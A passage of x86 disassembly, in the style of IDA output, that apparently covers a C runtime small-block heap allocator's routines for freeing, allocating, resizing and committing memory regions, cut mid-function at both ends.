loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AEBD
		mov	ebx, esi


loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi


loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
; ---------------------------------------------------------------------------


loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
; ---------------------------------------------------------------------------


loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]


loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD


loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------


loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, dword_4CF014
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, dword_4CF00C
		mov	esi, dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4CF00C
		mov	eax, dword_4CF014
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4CF014
		mov	ecx, dword_4CF00C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4CF014
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4CF014
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4CF014


loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4CF014
		push	dword ptr [eax+10h]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2720000h
		mov	eax, dword_4CF018
		mov	edx, dword_4CF01C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4CF014
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4CF018
		cmp	eax, dword_4CF014
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h


loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, dword_4CF01C
		mov	dword_4CF010, eax


loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4CF00C, edi
		mov	dword_4CF014, eax


loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4CF018
		mov	edx, dword_4CF01C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------


loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, dword_4CF010
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154


loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B


loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx


loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------


loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax


loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2


loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------


loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]


loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx


loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------


loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax


loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB


loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2


loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------


loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	dword_4CF010, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230


loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D


loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216


loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]


loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------


loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi


loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]


loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------


loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]


loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------


loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]


loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, dword_4CF014
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4CF00C
		jnz	short loc_41B3D9
		and	dword_4CF014, 0


loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, dword_4CF018
		mov	ecx, dword_4CF008
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4CF01C
		push	edi
		push	dword_4CF024
		nop
		call	near ptr 2840000h
		cmp	eax, edi
		jz	short loc_41B479
		add	dword_4CF008, 10h
		mov	dword_4CF01C, eax
		mov	eax, dword_4CF018


loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, dword_4CF01C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4CF024
		lea	esi, [ecx+eax*4]
		call	near ptr 2730000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2870746h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4CF024
		nop
		call	near ptr 2720000h


loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------


loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4CF018
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------


loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2870746h
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------


loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]


loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507


loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi


loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------


loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi


loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------


loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx


loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------


loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]


loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------


loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------


loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi


loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
		push	3Fh
		pop	esi


loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------


loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi


loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
